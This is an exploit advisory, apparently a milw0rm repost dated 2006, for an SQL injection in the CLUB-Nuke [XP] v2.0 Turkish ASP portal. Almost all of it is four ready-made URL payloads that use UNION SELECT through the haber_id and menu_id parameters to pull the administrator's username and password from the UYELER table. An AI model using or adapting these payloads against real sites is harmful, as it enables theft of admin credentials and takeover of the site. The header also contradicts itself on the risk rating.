Rated as : Moderate Risk
# CLUB-Nuke [XP] v2.0 LCID 2048 (Turkish Version) SQL Injection
Vulnerability
# Risk : High
# Credit : ASIANEAGLE
# Contact: admin@asianeagle.org
# Web : www.asianeagle.org
# Download Link :
http://www.aspindir.com/Kategoriler/asp/portal-&-hazir-site/?P=7&K=&T=
#Exploit:
Note : User Logins Must Be Enabled By Admin To Exploit This Vulnerability
#Admin Nick: http://[SITE]/club-nuke
path/haber_detay.asp?haber_id=-1%20union%20select%200,1,U_ADI,3,4,5,6%20from%20UYELER%20where%20U_ID%20like%201
#Admin Password :http::[SITE]/club-nuke
path/haber_detay.asp?haber_id=-1%20union%20select%200,1,U_SIFRE,3,4,5,6%20from%20UYELER%20where%20U_ID%20like%201
after login as user;
#Admin Nick : http://[SITE]/club-nuke
path/menu.asp?menu_id=-1%20union%20select%200,1,U_ADI,3,4,5%20from%20UYELER%20where%20U_ID%20like%201
#Admin Password: http://[SITE]/club-nuke
path/menu.asp?menu_id=-1%20union%20select%200,1,U_SIFRE,3,4,5%20from%20UYELER%20where%20U_ID%20like%201
#Forever milw0rm ;)
securitydot.net - 2006-08-08
|
